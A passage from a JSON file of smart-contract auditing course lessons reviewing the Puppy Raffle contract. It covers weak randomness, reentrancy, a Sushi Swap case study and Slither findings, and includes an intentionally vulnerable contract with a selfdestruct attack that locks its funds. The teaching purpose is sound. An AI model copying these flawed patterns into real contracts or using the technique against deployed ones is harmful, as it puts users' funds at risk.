rarity is being determined. `Weak Randomness` is seen again! Something to note is - any time I see constants being used, I like to verify what they are. In this case the constants in this code are representing percentage changes of obtaining a giving rarity.\n\n```js\n// @Audit: Weak Randomness\nuint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;\n//\nif (rarity <= COMMON_RARITY) {\n tokenIdToRarity[tokenId] = COMMON_RARITY;\n} else if (rarity <= COMMON_RARITY + RARE_RARITY) {\n tokenIdToRarity[tokenId] = RARE_RARITY;\n} else {\n tokenIdToRarity[tokenId] = LEGENDARY_RARITY;\n}\n```\n\nFollowing this, our function performs a number of state changes. Let's make note of what each of these is actually doing.\n\n```js\ndelete players; // resetting the players array\nraffleStartTime = block.timestamp; // resetting the raffle start time\npreviousWinner = winner; // vanity, doesn't impact much\n```\n\nFinally we see calls to send the `prizePool` and mint the NFT to the winner.\n\n```js\n(bool success,) = winner.call{value: prizePool}(\"\");\nrequire(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n_safeMint(winner, tokenId);\n```\n\nWe may even suspect that `re-entrancy` is a risk here, given the order of these lines. So let's verify!\n\nWhen a call is made externally, we should always ask ourselves what could happen in different scenarios.\n\n- _What if the recipient is a smart contract?_\n\n- _What if the contract doesn't have a receive/fallback function or forces a revert?_\n\n- _What if the recipient calls another function through receive/fallback?_\n\nThe more experience you gain performing security reviews, the better your intuition will be about which questions to ask and what to watch out for.\n\nIn this particular circumstance, we see that the `selectWinner` function includes require statements that would prevent re-entrancy at this point in this code as we've already reset these state variables. Whew!\n\n```js\nrequire(block.timestamp >=\n raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\nrequire(players.length >= 4, \"PuppyRaffle: Need at least 4 players\");\n```\n\nHowever, if the winner had a broken `receive` function, `selectWinner` here would fail, it could actually be quite difficult to select a winner in that situation! We'll discuss impact and reporting of that a little later.\n\n```js\n// @Audit: Winner wouldn't be unable to receive rewards if fallback function was broken!\n(bool success,) = winner.call{value: prizePool}(\"\");\nrequire(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n_safeMint(winner, tokenId);\n```\n\nAlright, we've completed a fairly thorough walkthrough of `selectWinner`, let's move onto the next function `withdrawFees`.\n\n> As always there may be more bugs in these repos than we go over, keep a look out!\n\n### Risks in withdrawFees\n\n```js\nfunction withdrawFees() external {\n require(address(this).balance == uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n uint256 feesToWithdraw = totalFees;\n totalFees = 0;\n (bool success,) = feeAddress.call{value: feesToWithdraw}(\"\");\n require(success, \"PuppyRaffle: Failed to withdraw fees\");\n}\n```\n\nSo, let's break this function down to see what it's doing.\n\nFirst we see a require statement and already a couple questions come to mind _Hint: there are issues with this line_\n\n```js\n// @Audit: If there are players, fees can't be withdrawn, does this make withdrawl difficult?\nrequire(address(this).balance ==\n uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n```\n\nThe next two lines are resetting our `totalFees`, seems fine.\n\n```js\nuint256 feesToWithdraw = totalFees;\ntotalFees = 0;\n```\n\nAnd finally we reach the external call which distributes the fees. It's worth noting that the address isn't the `owner`, fees are being sent to the `feeAddress` which our earlier `NatSpec` advises is controllable by the `owner`\n\n```js\n// @Audit: What if the feeAddress is a smart contract with a fallback/receive which reverts?\n(bool success,) = feeAddress.call{value: feesToWithdraw}(\"\");\nrequire(success, \"PuppyRaffle: Failed to withdraw fees\");\n```\n\n### Wrap Up\n\nWe've covered two more functions in `Puppy Raffle` and I think we're on the trail of a couple more bugs. In the next lesson, lets answer some of the questions we asked here and look at better practices to employ in protocols such as these.\n", + "updates": [] + }, + { + "lessonId": "019b4cd0-68fa-4a16-875c-f0918266a4fd", + "number": 33, + "title": "Exploit: Mishandling Of ETH", + "slug": "exploit-mishandling-of-eth", + "folderName": "33-exploit-mishandling-of-eth", + "description": "", + "duration": 3, + "videoUrl": "YO2OKZVHcm7s02BSNdKdBsOuOGuJO9yFMpDUZzt00Z2024", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/33-exploit-mishandling-of-eth/+page.md", + "markdownContent": "---\ntitle: Exploit - Mishandling of Eth\n---\n\n_Follow along with this video:_\n\n---\n\n### Eth Handling\n\nLet's pause a moment and focus on this line:\n\n```js\nrequire(address(this.balance) ==\n uint256(totalFees), \"PuppyRaffle: there are currently players active!\");\n```\n\nEffectively, we're checking to assure that we don't withdraw funds that are current in a raffle.\n\nMaybe we're just being extra cautious. The idea behind using `address(this).balance` is that - beyond entering the raffle - there's no way this contract can receive funds, so this require should always be ok ... right?\n\n### No Receive, No Fallback, No Problem.\n\nPuppy Raffle's hope is that without a receive or fallback function, there should never be a way for this accounting to imbalance. Well, let's test it out.\n\n```js\nfunction testCantSendMoneyToRaffle() public {\n address sendAddy = makeAddr(\"sender\");\n vm.deal(sendAddy, 1 ether);\n vm.expectRevert();\n vm.prank(sendAddy);\n (bool success, ) = payable(address(puppyRaffle)).call{value: 1 ether}(\"\");\n require(success);\n}\n```\n\n\n\nRunning this test, we discover ... it passes! So we're done, right? Everything's secure?\n\nNot exactly.\n\n### Wrap Up\n\nIt may seem like everything is fine here and that the protocol's accounting is secure, but when it comes to the handling of Eth there can be many pitfalls and gotchas you need to look out for.\n\nIn the next lesson, we'll return to our [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo to investigate how Puppy Raffle may still be vulnerable in this broad category.\n", + "updates": [] + }, + { + "lessonId": "2f8971e7-ff01-4196-b83f-a56ba0eb81fc", + "number": 34, + "title": "Mishandling of ETH: Minimized", + "slug": "mishandling-of-eth-minimized", + "folderName": "34-mishandling-of-eth-minimized", + "description": "", + "duration": 6, + "videoUrl": "D02cjLBEIt1fXDMpU9JzEPRexaBU3Jg3egzhJE02wPxnY", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/34-mishandling-of-eth-minimized/+page.md", + "markdownContent": "---\ntitle: Mishandling of Eth - Minimized\n---\n\n_Follow along with this video:_\n\n---\n\n### Mishandling of Eth\n\nTo see this vulnerability in action we're going to again reference our [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo!\n\nThere are two situational examples available for `Mishandling of Eth` for this lesson we want [**Remix (Vulnerable to selfdestruct)**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/mishandling-of-eth/SelfDestructMe.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js).\n\n> Remember: The codebase is available on the [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/mishandling-of-eth/SelfDestructMe.sol) repo as well, if you want to test things locally.\n\n### Remix Example\n\nWe've done this a few times, so we should be familiar with the process - go ahead and compile our `SelfDestructMe.sol` contract and deploy.\n\nYou'll likely be met with this message, `selfdestruct` is being heavily considered for deprecation, but for now this vulnerability still exists, so we can ignore this message for now.\n\n\n\n
\nSelfDestructMe.sol\n\n```js\ncontract SelfDestructMe {\n uint256 public totalDeposits;\n mapping(address => uint256) public deposits;\n\n function deposit() external payable {\n deposits[msg.sender] += msg.value;\n totalDeposits += msg.value;\n }\n\n function withdraw() external {\n /*\n Apparently the only way to deposit ETH in the contract is via the `deposit` function.\n If that were the case, this strict equality would always hold.\n But anyone can deposit ETH via selfdestruct, or by setting this contract as the target\n of a beacon chain withdrawal.\n (see last paragraph of this section\n https://eth2book.info/capella/part2/deposits-withdrawals/withdrawal-processing/#performing-withdrawals),\n regardless of the contract not having a `receive` function.\n\n If anybody deposits ETH that way, then the equality breaks and the contract is DoS'd.\n To fix it, the code could be changed to >= instead of ==. Which means that the available\n ETH balance should be _at least_ `totalDeposits`, which makes more sense.\n */\n assert(address(this).balance == totalDeposits); // bad\n\n uint256 amount = deposits[msg.sender];\n totalDeposits -= amount;\n deposits[msg.sender] = 0;\n\n payable(msg.sender).transfer(amount);\n }\n}\n```\n\n
\n
\n\n`SelfDestructMe.sol` is a fairly straightforward contract at a glance, experiment with the basic functions of the contract as you wish.\n\nA user is able to deposit funds, which updates their balance as well as the `totalDeposits` variable. A user can also call `withdraw`, this function checks that the contract's balance is still equal to the `totalDeposits` and if so will updates balances and transfer funds.\n\nI've deposited 1 Ether to the contract, here.\n\n\n\nThe issue comes from this line:\n\n```js\nassert(address(this).balance == totalDeposits);\n```\n\nThe core of this vulnerability is the assumption that, without a `receive` or `fallback` function, the only way to send value to this contract is through the deposit function.\n\nThis is **_false_**.\n\nGo ahead and deploy the `AttackSelfDestructMe.sol` contract. The constructor requires an attack target, so be sure to copy the address for `SelfDestructMe.sol` and pass it to your deploy. Give the contract a balance during deployment as well.\n\n\n\nNow, when the attack function is called, `selfdestruct` will be triggered, and we expect to see our 5 Ether forced onto `SelfDestructMe.sol`.\n\nAnd, that's exactly what we see:\n\n\n\nLastly, try calling the `withdraw` function on `SelfDestructMe.sol`. It reverts! The contract's accounting has been broken and it's balance is now stuck!\n\n\n\n### Wrap Up\n\nWe've illustrated how relying on a contract's balance as a means of internal counting can be risky. There's really no way to be certain that arbitrary value isn't sent to a contract currenty.\n\nAs I'd mentioned previously, the concept of `Mishandling Eth` is a broad one. Our sc-exploits-minimized repo outlines another common scenario (push over pull) that I encourage you to look at, as we won't go over it here.\n\nUltimately, this is another finding for sure - let's make note of it.\n\n```js\n// @Audit: Mishandling Eth\nfunction withdraw() external {...}\n```\n", + "updates": [] + }, + { + "lessonId": "dd969938-351d-4952-af95-7ad356d5daaa", + "number": 35, + "title": "Case Study: Mishandling of ETH", + "slug": "mishandling-of-eth-case-study", + "folderName": "35-mishandling-of-eth-case-study", + "description": "", + "duration": 3, + "videoUrl": "jEarsr8ctgtmxVcGQ72Wn8m4kbX9t2KWQF4G101Y02BAs", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/35-mishandling-of-eth-case-study/+page.md", + "markdownContent": "---\ntitle: Mishandling of Eth - Case Study\n---\n\n_Follow along with this video:_\n\n---\n\n### Case Study: Sushi Swap\n\nIn this lesson we'll be briefly detailing how the `Mishandling of Eth` vulnerability lead to catastrophic consequences in the case of Sushi Swap.\n\nOne of the best things you can do to grow your skills as a security researcher is to read case studies and familiarize yourself with hacks. We've included, in the [**course repo**](https://github.com/Cyfrin/security-and-auditing-full-course-s23), a link to [**an article**](https://samczsun.com/two-rights-might-make-a-wrong/) illustrating the case study we'll be going over briefly.\n\nNow, the situation with Sushi Swap is different from what we've seen in other example, because again - `Mishandling of Eth` is a very broad category. Ultimately the issue was with this function:\n\n```js\nfunction batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) {\n successes = new bool[](calls.length);\n results = new bytes[](calls.length);\n for (uint256 i = 0; i < calls.length; i++) {\n (bool success, bytes memory result) = address(this).delegatecall(calls[i]);\n require(success || !revertOnFail, _getRevertMsg(result));\n successes[i] = success;\n results[i] = result;\n }\n}\n```\n\nIn the simplest terms, this function allows a user to compile multiple calls into a single transaction - sounds useful.\n\nThe oversight was in the use of `delegatecall`. When implementing delegatecall, msg.sender _and_ msg.value are persistant. This meant that a single value sent for one call in this function could be used for multiple calls!\n\n> **For example:** If I were to call a function which cost 1 Eth, to call it 100 times, it should cost 100 Eth. In the case of the `batch` function, a user would be able to call the function 100 times, for only 1 Eth!\n\n### Wrap Up\n\nI highly encourage you to read through the provided article and familiarize yourself with the Sushi Swap case. Vulnerabilities when handling Eth without care come in many shapes and sizes. We've gone through a few examples in the last few lessons that I hope instill an understanding of the care that should be taken when dealing with funds.\n\nIn the next lesson we'll continue our Puppy Raffle Recon!\n", + "updates": [] + }, + { + "lessonId": "85c941ab-17a5-4fb7-855f-ffcad2e2099d", + "number": 36, + "title": "Recon III", + "slug": "recon-continued-3", + "folderName": "36-recon-continued-3", + "description": "", + "duration": 7, + "videoUrl": "ROxQ01UHkXgowLtHWWqW77DEAxoBV84qh91MgbWbNwH00", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/36-recon-continued-3/+page.md", + "markdownContent": "---\ntitle: Recon Continued 3\n---\n\n_Follow along with this video:_\n\n---\n\n### Recon Continued\n\nWe're doing great so far and have uncovered lots - we definitely shouldn't stop now. The next function we'll approach is `changeFeeAddress`.\n\n### changeFeeAddress\n\n```js\n/// @notice only the owner of the contract can change the feeAddress\n/// @param newFeeAddress the new address to send fees to\nfunction changeFeeAddress(address newFeeAddress) external onlyOwner {\n feeAddress = newFeeAddress;\n emit FeeAddressChanged(newFeeAddress);\n}\n```\n\nTo begin with, let's look into the `changeFeeAddress` function. This function ensures that only the contract owner can make changes to the contract's `feeAddress`. The modifier `onlyOwner` that is used in this function is sourced from the OpenZeppelin library. We can (and should) inspect these functions to assure access control is working as we'd expect - it is.\n\n```javascript\n/**\n * @dev Throws if called by any account other than the owner.\n */\nmodifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n}\n```\n\n`changeFeeAddress` then sets the `feeAddress` variable to the new address provided, and finally emits an event.\n\n> Whoops! - events should be emitted after state changes, we haven't seen many events til now, we may need to return to previous functions to verify!\n\nThings look fine with `changeFeeAddress`, what's next?\n\n## \\_isActivePlayer\n\n```javascript\n/// @notice this function will return true if the msg.sender is an active player\nfunction _isActivePlayer() internal view returns (bool) {\n for (uint256 i = 0; i < players.length; i++) {\n if (players[i] == msg.sender) {\n return true;\n }\n }\n return false;\n}\n```\n\nNow, we haven't seen this referenced anywhere before now, we may want to simply investigate when this function is being used.\n\n\n\nIronically, it seems this function isn't being used anywhere in our protocol!\n\nWe would have to ask ourselves of course:\n\n```js\n// Impact:\n// Likelihood:\n```\n\nGiven that this is an `internal` function that is never called - the `impact` and `likelihood` are both realistically going to be `None`. With that said, this function is clearly a waste of gas.\n\nWhen we complete our write up, it's likely this will be an `Informational` or `Gas` severity.\n\n### \\_baseURI\n\n```js\n/// @notice this could be a constant variable\nfunction _baseURI() internal pure returns (string memory) {\n return \"data:application/json;base64,\";\n}\n```\n\nThe next function down is `_baseURI`. This seems pretty straightforward. It looks like it provides a base for a tokenURI used for an SVG NFT implementation.\n\n> **Note:** If this is confusing to you, absolutely review the Foundry Full Course. NFTs are a huge part of DeFi and you _need_ to know this stuff intimately.\n\n### tokenURI\n\nSkimming through the `tokenURI` function, nothing initially sticks out as unusual. A few things we would want to check would be:\n\n- Assuring tokens have their rarity properly assigned.\n- Verifying mapping for `rarityToUri` and `rarityToName` and where they are set.\n- Double checking that the image URIs work for each rarity.\n\nThe function then ends in a whole bunch of encoding stuff. It's pretty heavy, so we're not going to go through it too deeply. There may be some redundancy here - I challenge you to sus it out - but for the most part this is good.\n\nDefinitely be thinking about _how can I break this view function?_\n\n### Wrap Up\n\nAt this point we've completed our first thorough review of the code base. We should definitely go back and reassess events, as well as dedicate some time considering state variables - but for the most part, we've completed an initial review!\n\nThis would be a great stage to go back through our notes and begin answering some of the questions we've been leaving ourselves.\n\n```js\n// Were custom reverts a thing in 0.7.6 of solidity?\n// - No!\n// What if the players.length == 0?\n// - still emits an event when creating the raffle?\n// etc...\n```\n\nWe likely have a tonne of questions at this point and it's good practice to now answer them. Going through our previous questions might even generate new ones - but we keep at the process until we have a solid understanding of how everything should and does work.\n\nUsually one pass of a code base isn't going to be enough. If there are unanswered questions, it's a good sign that you need to go deeper.\n\nIn the next lesson, we'll answer more of our questions, but I challenge you to go through some and try to find answers on your own before continuing!\n", + "updates": [] + }, + { + "lessonId": "7dddf0d6-a1fb-437a-89f6-fee77fd3a680", + "number": 37, + "title": "Answering our questions", + "slug": "answering-our-questions", + "folderName": "37-answering-our-questions", + "description": "", + "duration": 4, + "videoUrl": "vrEL95cQXxkqmfLeKALFEHE19FFJ00avx101R01EPi1ltg", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/37-answering-our-questions/+page.md", + "markdownContent": "---\ntitle: Answering Our Questions\n---\n\n_Follow along with this video:_\n\n---\n\n### Answering Our Questions\n\nThis lesson will be a little unconventional. I'm going to list some of the questions that were raised as we performed our recon on Puppy Raffle. I want you to challenge yourself to answer these questions, then compare to my answers below!\n\nQuestions:\n\n```js\n// Q1: What resets the players array?\n\n// Q2: What if enterRaffle is called with an empty array?\n\n// Q3: In the case of getActivePlayerIndex - what if the player is at Index 0?\n\n// Q4: Does the selectWinner function follow CEI?\n\n// Q5: Are raffleDuration and raffleStartTime being set correctly?\n\n// Q6: Why not use address(this).balance for the totalAmountCollected in the selectWinner function?\n\n// Q7: Is the 80% calculation for winners rewards correct?\n\n// Q8: Where do we increment the totalSupply/tokenId?\n\n// Q9: Can a user simply force the selectWinner function to revert if they don't like the results?\n\n// Q10: What happens if the winner is a contract with broken or missing receive/fallback functions?\n\n// Q11: What happens if the feeAddress is a contract with broken or missing receive/fallback functions?\n```\n\n---\n\n
\nAnswers!\n\n```js\n// A1: The players array is reset in the selectWinner function.\n\n...\ndelete players;\nraffleStartTime = block.timestamp;\npreviousWinner = winner;\n(bool success,) = winner.call{value: prizePool}(\"\");\n...\n\n// A2: If an empty array is submitted, an event is still emitted by the function. This will likely go in our report.\n\n...\nfunction enterRaffle(address[] memory newPlayers) public payable {\n require(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n ...\n emit RaffleEnter(newPlayers);\n }\n...\n\n// A3: A player at index zero, may believe they are not active in a raffle, as this function returns zero if a player is not found. This will also go in our report for sure.\n\n...\nfunction getActivePlayerIndex(address player) external view returns (uint256) {\n for (uint256 i = 0; i < players.length; i++) {\n if (players[i] == player) {\n return i;\n }\n }\n return 0;\n }\n...\n\n// A4: No, the selectWinner function doesn't follow CEI and we would recommend to the protocol that it does. However, I happen to know this isn't an issue in this function, so we might flag this as informational.\n\n// A5: They are being set in the constructor and seem to be configured properly.\n\n...\nconstructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721(\"Puppy Raffle\", \"PR\") {\n entranceFee = _entranceFee;\n feeAddress = _feeAddress;\n raffleDuration = _raffleDuration;\n raffleStartTime = block.timestamp;\n...\n\n// A6: This may be a design choice, but without clear rationale or a protocol to ask, we may flag this as informational for now.\n\n// A7: Yes, as per the documentation, 80% should be sent to the winner with 20% being retained in fees.\n\n// A8: This is handled by the OpenZeppelin ERC721.sol contract. Ultimately being set by this declaration when a winner is selected:\n\n...\nuint256 tokenId = totalSupply();\n...\n\n// A9: Yes! This will probably be an issue we'll want to add to our report.\n\n// A10: The winner wouldn't be able to receive their reward! This is definitely something we should report as a vulnerability.\n\n// A11: Sending funds to the feeAddress with the withdrawFees function will probably fail, but this is very low impact as the owner can simply change the feeAddress.\n```\n\n
\n", + "updates": [] + }, + { + "lessonId": "5953da27-94eb-44a6-a7ec-250b4637ea5f", + "number": 38, + "title": "Info and gas findings", + "slug": "info-and-gas-findings", + "folderName": "38-info-and-gas-findings", + "description": "", + "duration": 5, + "videoUrl": "UmO71NH6ERcRe9tuR00ekLefSee2jX82Ld00D01GJQlAew", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/38-info-and-gas-findings/+page.md", + "markdownContent": "---\ntitle: Info and Gas Findings\n---\n\n_Follow along with this video:_\n\n---\n\n### Info and Gas Findings\n\nWith all our questions answered, there still remain a few outstanding items we should consider.\n\nWe briefly ran Slither earlier in this section, but didn't look too closely at what its output was. We should definitely return to this. Additionally, as people who have gone through the Foundry course should recognize, this code base is not adhering to any design pattern best practices, and regularly chooses poor naming conventions.\n\nLet's review a few recommendations we could make to improve the code for this protocol.\n\n### Starting at the Top\n\nThe first thing we notice, at the very top of this repo are the naming conventions used for storage variables.\n\n\n\nA convention I like to use for storage variables is the `s_variableName` convention! So this may be an informational finding we would want to submit.\n\nEven further up the contract there's a bigger concern however.\n\n```js\npragma solidity ^0.7.6\n```\n\nThis statement is what's known as a `floating pragma`. It essentially denotes that the contract is compatible with solidity versions up to and including `0.7.6`. This brings a number of concerns including vulnerabilities across multiple versions, so best practice is to use a single version of solidity.\n\nThis would be a great informational finding to include in our report.\n\n### Further Recommendations\n\nProgressing down the code base, the next thing I notice are these statements:\n\n```js\nuint256 prizePool = (totalAmountCollected * 80) / 100;\nuint256 fee = (totalAmountCollected * 20) / 100;\n```\n\nWhen raw numbers are used in a code body like this, we refer to them as `Magic Numbers`. They provide no context of what they're doing. Best practice would be to assign these to named constants.\n\n```js\nuint256 public constant PRIZE_POOL_PERCENTAGE = 80;\nuint256 public constant FEE_PERCENTAGE = 20;\nuint256 public constant POOL_PRECISION = 100;\n\nuint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;\nuint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;\n```\n\nThe last thing I'll point out is best verified through the project's `foundry.toml`. Here we can see the versions of the libraries being imported for the protocol.\n\nA good practice will be to investigate the specific versions being used for reported issues and security advisories.\n\nWe can navigate to the OpenZeppelin security section [**here**](https://github.com/OpenZeppelin/openzeppelin-contracts/security).\n\nThis section of the OpenZepplin repo is kept updated with known security vulnerabilities within various versions of the OpenZeppelin library.\n\nBy clicking on one of the advisories, we get a detailed breakdown including the affected versions.\n\n\n\n### Gas\n\nIn addition to informational findings in an audit, it can be optional to include gas recommendations for the protocol as well, though static analysis tools are getting really good at this and they're certainly becoming less common.\n\nOne example of such a suggestion in Puppy Raffle would be regarding `raffleDuration`. Currently this is a storage variable, but this never changes. Puppy Raffle could absolutely change this to be a `constant` or `immutable` variable to save substantial gas.\n", + "updates": [] + }, + { + "lessonId": "81cfb5f7-8d5b-44d1-abc6-860e8e2921c5", + "number": 39, + "title": "Pit stop", + "slug": "pit-stop", + "folderName": "39-pit-stop", + "description": "", + "duration": 2, + "videoUrl": "6EUWIh9H6ExxyBWHW3D5302g2lCyp4bgm7OTXD00jT00lw", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/39-pit-stop/+page.md", + "markdownContent": "---\ntitle: Pit Stop\n---\n\n_Follow along with this video:_\n\n---\n\n### Pitstop\n\nAt this point we're nearly done. We've two outstanding things to cover.\n\nThe first will be running through the `Slither` and `Aderyn` reports for Puppy Raffle and finally we'll check the code quality/tests for this repo.\n\nOnce we've completed those steps, I'm going to walk you through `Competitive Audits` on CodeHawks and how to submit a finding!\n\nThen, the very last thing we'll do in this section is write our Puppy Raffle report, with PoCs. We won't always be going through the entire reporting process together. It can be time intensive, but it's important for you to practice these skills on your own. This is your opportunity to test yourself, gain insights, and prepare for future competitive audits.\n\nYou can find the Puppy Raffle final report in markdown within the [**audit-data branch**](https://github.com/Cyfrin/4-puppy-raffle-audit/tree/audit-data/audit-data) of the repo, along with a PDF version. You will also find the output of our `Aderyn` and `Slither` reports there, in case you want to compare yours and ensure its correctness.\n\nThat's it! By the end you'll have another professional audit report to add to your security review portfolio.\n\nIn the next lesson, we start with Slither!\n", + "updates": [] + }, + { + "lessonId": "7193c982-2dae-435b-bf60-f6848ca9b475", + "number": 40, + "title": "Slither walkthrough", + "slug": "slither-walkthrough", + "folderName": "40-slither-walkthrough", + "description": "", + "duration": 13, + "videoUrl": "8xCUno78bcmNZZHYAMBcOyZG2m5NkhN8qhfdpFhMkN4", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/40-slither-walkthrough/+page.md", + "markdownContent": "---\ntitle: Slither Walkthrough\n---\n\n_Follow along with this video:_\n\n---\n\n### Slither Static Analysis\n\nAlright, let's take a closer look at some of the issues Slither was able to find in our code base earlier. These will include, but aren't limited to, each of these.\n\n- Using incorrect Solidity versions\n- Missing/wrong events\n- Event reentrancy\n- Zero address checks\n- Supply chain attacks\n- Cache storage variables for loops\n- Unchanged variables marked as immutable or constant\n\nStart by running `slither .` just as before and let's dive into the output starting at the most severe\n\n### Slither Highs\n\n\n\n**1. Sends Eth to Arbitrary User**\n\n- Dangerous Calls: `(success) = feeAddress.call{value: feesToWithdraw}() (src/PuppyRaffle.sol#160)`\n\nTaking a look at this call in our code base, we see it's in the `withdrawFees` function.\n\n```js\nfunction withdrawFees() external {\n require(address(this).balance == uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n uint256 feesToWithdraw = totalFees;\n totalFees = 0;\n // (bool success,) = feeAddress.call{value: feesToWithdraw}(\"\");\n require(success, \"PuppyRaffle: Failed to withdraw fees\");\n}\n```\n\nSo, `Slither` is telling us that our feeAddress is arbirary and may be malicious. Let's look at the attack vector in the [**`Slither` documentation**](https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations).\n\nThe documentation outlines that since our `feeAddress` can be changed, whomever receives funds from `withdrawFees` could theoretically be anybody. However, in `PuppyRaffle`, the `feeAddress` can only be changed by the `owner`, so this would be considereed intention in our protocol.\n\n```js\nfunction changeFeeAddress(address newFeeAddress) external onlyOwner {\n feeAddress = newFeeAddress;\n emit FeeAddressChanged(newFeeAddress);\n}\n```\n\nConveniently, by using the syntax `// slither-disable-next-line [DETECTOR_NAME]`, we can tell Slither to ignore this warning:\n\n```js\n// slither-disable-next-line arbitrary-send-eth\n(bool success,) = feeAddress.call{value: feesToWithdraw}(\"\")\n```\n\n**2. Uses a Weak PRNG**\n\n- Dangerous Calls:\n - `winnerIndex = uint256(keccak256(bytes)(abi.encodePacked(msg.sender,block.timestamp,block.difficulty))) % players.length (src/PuppyRaffle.sol#127-128)`\n\nThis is the same vulnerability we detected! We can have slither ignore this line with:\n\n```js\n// slither-disable-next-line weak-prng\nuint256 winnerIndex =\nuint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n```\n\n### Slither Mediums\n\n\n\n**1. Performs a Multiplication on the Result of a Division**\n\n- Dangerous Calls:\n - `encodedLen = 4 * ((data.length + 2) / 3) (lib/base64/base64.sol#22)`\n - `decodedLen = (data.length / 4) * 3 (lib/base64/base64.sol#78)`\n\nThese issues are actually being detected in one of the libraries we're using, `Base64`. For the purposes of this section, we won't be going through our libraries, but what I want you to take away is that we need to assure our libraries, inheritances and dependencies are compatible, and these are generally warnings that are worth investigation.\n\nYou can have slither ignore these by navigating to `lib/base64/base64.sol#22` and `lib/base64/base64.sol#78` to prepend the line:\n\n```js\n// slither-disable-next-line divide-before-multiply\n```\n\n**2. Uses a Dangerous Strict Equality**\n\n- Dangerous Calls:\n - `require(bool,string)(address(this).balance == uint256(totalFees),PuppyRaffle: There are currently players active!) (src/PuppyRaffle.sol#158)`\n\nThis is another one we caught during our manual review! The warning here is pointing to our previous `Mishandling of Eth` finding.\n\nWe can have slither ignore this warning with:\n\n```js\n// slither-disable-next-line incorrect-equality\n```\n\n**3. Reentrancy in PuppyRaffle.refund(uint256)**\n\n- Dangerous Calls:\n - External calls:\n - `address(msg.sender).sendValue(entranceFee) (src/PuppyRaffle.sol#102)`\n - State variables written after the call(s):\n - `players[playerIndex] = address(0) (src/PuppyRaffle.sol#104)`\n\nWe found this one too! Don't get me started talking about reentrancy again. Know it, protect against it.\n\nYou can have `Slither` ignore this one by adding this to the line before our external call:\n\n```js\n// slither-disable-next-line reentrancy-no-eth\npayable(msg.sender).sendValue(entranceFee);\n```\n\n**4. Ignores Return Value by {function call}**\n\n- Dangerous Calls:\n-
\n Call Summary\n\n - `(tokenId) = _tokenOwners.at(index) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#181)`\n\n - `_holderTokens[to].add(tokenId) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#339)`\n - `_tokenOwners.set(tokenId,to) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#341)`\n - `_holderTokens[owner].remove(tokenId) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#369)`\n - `_tokenOwners.remove(tokenId) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#371)`\n - `_holderTokens[from].remove(tokenId) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#396)`\n - `_holderTokens[to].add(tokenId) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#397)`\n - `_tokenOwners.set(tokenId,to) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#399)`\n
\n\n---\n\nYou can remove these warning from your `Slither` report by navigating to the respective lines for each call in the library and adding:\n\n```js\n// slither-disable-next-line unused-return\n```\n\n### Slither Lows\n\n\n\n**1. Lacks a Zero Check**\n\n- Dangerous Calls:\n - `feeAddress = _feeAddress (src/PuppyRaffle.sol#63)`\n - `feeAddress = newFeeAddress (src/PuppyRaffle.sol#170)`\n\n`feeAddress` is assigned in our `constructor` and the `changeFeeAddress` function. `Slither` is advising that we include a check to assure the `feeAddress` isn't being set to `address(0)`.\n\nThat sounds like a valid informational finding to me. Let's add it to our notes above each function!\n\n```js\n// @Audit: Info - check for zero address when setting feeAddress\n```\n\nThese sorts of finds are often referred to as `input validation` and the severity is typically deemed informational.\n\nWe can have our `Slither` report remove these warnings once we've made note of them, but adding this line to `PuppyRaffle` before assigning our `feeAddress` in our `constructor` and the `changeFeeAddress` functions:\n\n```js\n// slither-disable-next-line missing-zero-check\n```\n\n**2. Reentrancy in PuppyRaffle.refund/selectWinner**\n\n- Dangerous Calls: -
\n Call Summary\n PuppyRaffle.refund\n\n - `address(msg.sender).sendValue(entranceFee) (src/PuppyRaffle.sol#103)`\n\n PuppyRaffle.selectWinner\n\n - `(success) = winner.call{value: prizePool}() (src/PuppyRaffle.sol#152)`\n - `_safeMint(winner,tokenId) (src/PuppyRaffle.sol#154)`\n - `returndata = to.functionCall(abi.encodeWithSelector(IERC721Receiver(to).onERC721Received.selector,_msgSender(),from,tokenId,_data),ERC721: transfer to non ERC721Receiver implementer) (lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol#447-450)`\n - `(success,returndata) = target.call{value: value}(data) (lib/openzeppelin-contracts/contracts/utils/Address.sol#119)`\n
